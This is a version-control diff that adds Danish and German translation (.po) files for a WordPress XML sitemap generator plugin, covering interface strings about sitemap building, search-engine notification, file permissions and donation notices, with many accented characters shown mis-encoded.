+msgstr "Det tog %time% sekunder at informerer Yahoo, mÃ¥ske skulle du deaktivere denn funktion for at reducerer bygge tiden."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2982
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Der opstod et problem under kommunikationen med YAHOO. <a href=\"%s\">Se resultat</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com blev <b>informeret korrekt</b> omkring ÃŠndringerne."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Det tog %time% sekunder at informerer Ask.com, mÃ¥ske skulle du deaktivere denn funktion for at reducerer bygge tiden."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2994
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Der opstod et problem under kommunikationen med Ask.com. <a href=\"%s\">Se resultat</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Bygge processen tog omkring <b>%time% sekunder</b> for at fuldfÃžre og bruge %memory% MB hukommelse."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Bygge processen tog omkring <b>%time% sekunder</b> for at fuldfÃžre."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Indholdet af dit sitemap har <strong>ikke</strong> ÃŠndret sig siden sidst. Derfor blev der ikke ikke skrevet til nogle filer og ikke kommunikeret med nogle sÃžgemaskiner."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "Sidste forsÃžg blev ikke fÃŠrdigt! MÃ¥ske skal du hÃŠve hukommelses begrÃŠnsningen for PHP scripts. <a href=\"%url%\">LÃŠr mere</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "Det sidst kendte forbrug af hukommelse af dette script var %memused%MB, begrÃŠnsningen pÃ¥ din server er %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "Den sidste kendte eksekverings tid for dette script var %timeused% sekunder, begrÃŠnsningen pÃ¥ din server er %timelimit% sekunder."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Scriptet stoppede omkring indlÃŠg nummer %lastpost% (+/-100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Hvis du ÃŠndre noget pÃ¥ din server eller blog, burde du <a href=\"%s\">opdatere dit sitemap</a> manuelt."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Hvis du stÃžder pÃ¥ problemer under bygge processen, kan du bruge <a href=\"%d\">debug funktionen</a> for at fÃ¥ flere informationer."
+
+msgid "Basic Options"
+msgstr "Basis indstillinger"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+msgid "Sitemap files:"
+msgstr "Sitemap filer:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Learn more"
+msgstr "LÃŠr mere"
+
+msgid "Write a normal XML file (your filename)"
+msgstr "Lav en normal XML fil (Dit filnavn)"
+
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Lav en gzipped fil (Dit filnavn + .gz"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+msgid "Building mode:"
+msgstr "Bygge metode:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Opdater dit sitemap hvis der sker ÃŠndringer i indholdet pÃ¥ din blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Aktiverer manuel bygning af sitemap via GET Request"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Dette vil tillade dig at opdatere dit sitemap hvis et eksternt vÃŠrktÃžj skrev til Wordpress databasen uden at bruge Wordpress API'et. Brug fÃžlgende URL til at starte processen: <a href=\"%1\">%1</a> Tjek venligst logfilen ovenover, for at se om dit sitemap blev bygget korrekt."
+
+msgid "Update notification:"
+msgstr "Opdaterings meddelelser:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify Google about updates of your Blog"
+msgstr "Informer Google om opdateringer pÃ¥ din blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Registrering er ikke pÃ¥krÃŠvet, men du kan tilmelde dig <a href=\"%s\">Google Webmaster Tools</a> for at tjekke \"crawling\" statistikker."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Informer Ask.com om opdateringer pÃ¥ din blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+msgid "No registration required."
+msgstr "Registrering ikke pÃ¥krÃŠvet."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Informer Yahoo om opdateringer pÃ¥ din blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3094
+#, php-format
+msgid "No registration required, but you can sign up for the <a href=\"%s\">YAHOO Site Explorer</a> to view the crawling progress."
+msgstr "Registrering er ikke pÃ¥krÃŠvet, men du kan tilmelde dig <a href=\"%s\">YAHOO Site Explorer</a> for at tjekke \"crawling\" statistikker."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "Ãndre eller opret %s i blog \"root\", som indeholder sitemap placeringen."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+msgid "File permissions: "
+msgstr "Fil rettigheder: "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+msgid "OK, robots.txt is writable."
+msgstr "OK, robots.txt er skrivbar."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+msgid "Error, robots.txt is not writable."
+msgstr "Fejl, robots.txt er ikke skrivbar."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, robots.txt eksisterer ikke, men mappen er skrivbar."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "Fejl, robots.txt eksisterer ikke og mappen er ikke skrivbar."
+
+msgid "Advanced options:"
+msgstr "Avanceret indstillinger"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Limit the number of posts in the sitemap:"
+msgstr "BegrÃŠns antallet af indlÃŠg i dit sitemap:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Newer posts will be included first"
+msgstr "Nyeste indlÃŠg vil blive inkluderet fÃžrst"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "Try to increase the memory limit to:"
+msgstr "PrÃžv at forÃžg hukommelses begrÃŠnsningen til:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "e.g. \"4M\", \"16M\""
+msgstr "f.eks. \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "Try to increase the execution time limit to:"
+msgstr "PrÃžv at forÃžg eksekverings tids begrÃŠnsningen til:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "i sekunder, f.eks. \"60\" eller \"0\" for ubegrÃŠnset"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Include a XSLT stylesheet:"
+msgstr "Inkluderer et XSLT stylesheet:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Use Default"
+msgstr "Brug standard"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Full or relative URL to your .xsl file"
+msgstr "Fuld eller relativ URL til din .xsl fil"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Aktiver MySQL standard mode. Brug kun dette hvis du fÃ¥r MySQL fejl. (Bruger meget mere hukommelse!)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Byg dit sitemap i en baggrundsprocess (Du behÃžver ikke at vente nÃ¥r du gemmer et indlÃŠg)"
+
+msgid "Additional pages"
+msgstr "Ekstra sider"
+
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Her kan du specificere filer og URLs, der skal inkluderes i dit sitemap, som ikke tilhÃžrer din side.<br/>F.eks. hvis dit domÃŠne er www.minside.dk og din side er placeret i en under mappe (www.minside.dk/blog), sÃ¥ vil du mÃ¥ske inkludere www.minside.dk"
+
+msgid "Note"
+msgstr "Note"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Hvis din blog er i en undermappe og du vil tilfÃžje sider, som IKKE er i blog mappen eller en mappe under, SKAL du placerer din sitemap fil i  &quot;root mappen&quot; (Se &quot;Stien til din sitemap fil&quot; sektionen pÃ¥ denne side)."
+
+msgid "URL to the page"
+msgstr "URL til siden"
+
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Indtast URL'en til siden. F.eks.: http://www.minside.dk/index.html ellerhttp://www.minside.dk/forside"
+
+msgid "Priority"
+msgstr "Prioritet"
+
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "VÃŠlg sidens prioritet i forhold til de andre sider."
+
+msgid "Last Changed"
+msgstr "Ãndret sidst"
+
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Indtast datoen for den sidste ÃŠndret, som YYYY-MM-DD (F.eks. 2005-12-31) (Valgfri)"
+
+msgid "Change Frequency"
+msgstr "Skift frekvens"
+
+msgid "#"
+msgstr "#"
+
+msgid "No pages defined."
+msgstr "Ingen sider defineret"
+
+msgid "Add new page"
+msgstr "TilfÃžj ny side"
+
+msgid "Post Priority"
+msgstr "IndlÃŠgs prioritet"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "VÃŠlg venligst hvordan prioriteten af hver enkelt indlÃŠg skal udregnes:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "Do not use automatic priority calculation"
+msgstr "Brug ikke automatisk prioritets udregning"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Alle indlÃŠg vil have den samme prioritet som er defineret under &quot;Prioritet&quot;"
+
+msgid "Location of your sitemap file"
+msgstr "Stien til din sitemap fil"
+
+msgid "Automatic detection"
+msgstr "Find Automatisk "
+
+msgid "Filename of the sitemap file"
+msgstr "Sitemap filnavn"
+
+msgid "Detected Path"
+msgstr "Fundet sti"
+
+msgid "Detected URL"
+msgstr "Fundet URL"
+
+msgid "Custom location"
+msgstr "Brugerdefineret sti"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Absolut eller relativ sti til sitemap filen, inklusiv filnavn."
+
+msgid "Example"
+msgstr "Eksempel"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "FuldstÃŠndig URL til sitemap filen, inklusiv filnavn"
+
+msgid "Sitemap Content"
+msgstr "Sitemap indhold"
+
+msgid "Include homepage"
+msgstr "Inkluder hjemmeside"
+
+msgid "Include posts"
+msgstr "Inkluder indlÃŠg"
+
+msgid "Include static pages"
+msgstr "Inkluder statiske sider"
+
+msgid "Include categories"
+msgstr "Inkluder kategorier"
+
+msgid "Include archives"
+msgstr "Inkluder arkiver"
+
+msgid "Include tag pages"
+msgstr "Inkluder tag sider"
+
+msgid "Include author pages"
+msgstr "Inkluder forfatter sider"
+
+msgid "Change frequencies"
+msgstr "Ãndre frekvenser"
+
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "BemÃŠrk venligst at vÃŠrdien af dette \"tag\" anses for at vÃŠre et hint og ikke en kommando. Selvom sÃžgemaskine crawlers tager denne information i betrÃŠgtning, kan de crawle sider markeret \"pr. time\" fÃŠrre gange og sider markeret \"Ã¥rlig\" oftere. Det er ogsÃ¥ sandsynligt at crawlere periodisk vil crawle sider makeret \"aldrig\", sÃ¥ de kan hÃ¥ndtere uforventet ÃŠndringer pÃ¥ disse sider."
+
+msgid "Homepage"
+msgstr "Hjemmeside"
+
+msgid "Posts"
+msgstr "IndlÃŠg"
+
+msgid "Static pages"
+msgstr "Statiske sider"
+
+msgid "Categories"
+msgstr "Kategorier"
+
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Arkivet for denne mÃ¥ned (Burde vÃŠre den som pÃ¥ din hjemmeside)"
+
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Ãldre arkiver (Ãndre sig kun hvis du redigere et gammelt indlÃŠg"
+
+msgid "Tag pages"
+msgstr "Tag sider"
+
+msgid "Author pages"
+msgstr "Forfatter sider"
+
+msgid "Priorities"
+msgstr "Prioriteter"
+
+msgid "Posts (If auto calculation is disabled)"
+msgstr "IndlÃŠg (Hvis auto-udregn er deaktiveret)"
+
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Minimum indlÃŠgs prioritet (Selvom auto-udregn er aktiveret)"
+
+msgid "Archives"
+msgstr "Arkiver"
+
+msgid "Update options"
+msgstr "Opdater indstillinger"
+
+msgid "Reset options"
+msgstr "Nulstil indstillinger"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-de_DE.po	(revision 44)
@@ -0,0 +1,894 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-24 00:20+0100\n"
+"PO-Revision-Date: 2009-08-24 00:24+0100\n"
+"Last-Translator: Arne Brachhold\n"
+"Language-Team: Arne Brachhold <himself@arnebrachhold.de>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: German\n"
+"X-Poedit-Country: GERMANY\n"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "Anzahl der Kommentare"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "Verwendet die Anzahl der Kommentare um die PrioritÃ€t der BeitrÃ€ge zu berechnen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "Durchschnittliche Anzahl der Kommentare"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "Verwendet die durchschnittliche Anzahl der Kommentare um die PrioritÃ€t der BeitrÃ€ge zu berechnen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "Popularity Contest"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "Verwendet das aktivierte <a href=\"%1\">Popularity Contest Plugin</a> von <a href=\"%2\">Alex King</a>. Siehe <a href=\"%3\">Einstellungen</a> und <a href=\"%4\">wichtigste BeitrÃ€ge</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1118
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1191
+msgid "Always"
+msgstr "Immer"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1119
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1192
+msgid "Hourly"
+msgstr "StÃŒndlich"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1120
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1193
+msgid "Daily"
+msgstr "TÃ€glich"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1194
+msgid "Weekly"
+msgstr "WÃ¶chentlich"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1122
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1195
+msgid "Monthly"
+msgstr "Monatlich"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1123
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1196
+msgid "Yearly"
+msgstr "JÃ€hrlich"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1197
+msgid "Never"
+msgstr "Nie"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:97
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "Vielen Dank fÃŒr Deine Spende! Du hilfst mir damit diese kostenlose Software zu unterstÃŒtzen und weiterzuentwickeln!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:97
+msgid "Hide this notice"
+msgstr "Diesen Hinweis verstecken"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:103
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "Danke dass Du dieses Plugin benutzt! Du hast dieses Plugin vor mehr als einem Monat installiert. Wenn es funktioniert und zu mit dem Ergebnis zufrieden bist, ist es nicht mindestens einen Dollar Wert? <a href=\"%s\">Spenden</a> helfen mir diese <i>kostenlose</i> Software zu unterstÃŒtzen und weiterzuentwickeln! <a href=\"%s\">Klar, kein Problem!</a> "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:103
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Nein danke, bitte nicht mehr nerven! "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:114
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "Die Sietemap wird im Moment neu erzeugt. AbhÃ€ngig von der Anzahl Ihrer BeitrÃ€ge kann dies einige Sekunden dauern. "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:116
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "Die Sietemap wird in %s Sekunden neu erzeugt. AbhÃ€ngig von der Anzahl Ihrer BeitrÃ€ge kann dies einige Sekunden dauern."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:145
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:448
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML Sitemap Generator fÃŒr WordPress"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:293
+msgid "Configuration updated"
+msgstr "Die Konfiguration wurde gespeichert."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:294
+msgid "Error while saving options"
+msgstr "Beim Speichern der Seiten ist ein Fehler aufgetreten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:296
+msgid "Pages saved"
+msgstr "Ihre Seiten wurden gespeichert."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:297
+msgid "Error while saving pages"
+msgstr "Beim Speichern der Seiten ist ein Fehler aufgetreten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:304
+msgid "The default configuration was restored."
+msgstr "Die Standard Konfiguration wurde wieder hergestellt."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:461
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "Es gibt eine Version von %1$s. <a href=\"%2$s\">Version %3$s hier downloaden</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:463
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "Es gibt eine Version von %1$s. <a href=\"%2$s\">Version %3$s hier downloaden</a> <em>Automatisches Upgraden ist fÃŒr dieses Plugin nicht mÃ¶glich</em>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:465
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "Es gibt eine Version von %1$s. <a href=\"%2$s\">Version %3$s hier downloaden</a> oder <a href=\"%4$s\">automatisch upgraden</a>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:488
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:505
+msgid "open"
+msgstr "Ã¶ffnen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:489
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:506
+msgid "close"
+msgstr "schlieÃen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:490
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:507
+msgid "click-down and drag to move this box"
+msgstr "Klicken und ziehen um diese Box zu verschieben"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:491
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:508
+msgid "click to %toggle% this box"
+msgstr "Klicken um diese box zu %toggle%"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:492
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:509
+msgid "use the arrow keys to move this box"
+msgstr "Benutze die Pfeiltaste um diese box zu verschieben"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:510
+msgid ", or press the enter key to %toggle% it"
+msgstr ", oder drÃŒck Enter um sie zu %toggle%"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:528
+msgid "About this Plugin:"
+msgstr "Ãber dieses Plugin:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:529
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:153
+msgid "Plugin Homepage"
+msgstr "Plugin Startseite"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:530
+msgid "Suggest a Feature"
+msgstr "Funktion vorschlagen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:531
+msgid "Notify List"
+msgstr "E-Mail bei Update"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:532
+msgid "Support Forum"
+msgstr "Hilfe Forum"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "Report a Bug"
+msgstr "Fehler berichten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Donate with PayPal"
+msgstr "Mit PayPal spenden"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:536
+msgid "My Amazon Wish List"
+msgstr "Amazon Wunschliste"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "translator_name"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "translator_url"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Sitemap Resources:"
+msgstr "Sitemap Informationen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:547
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
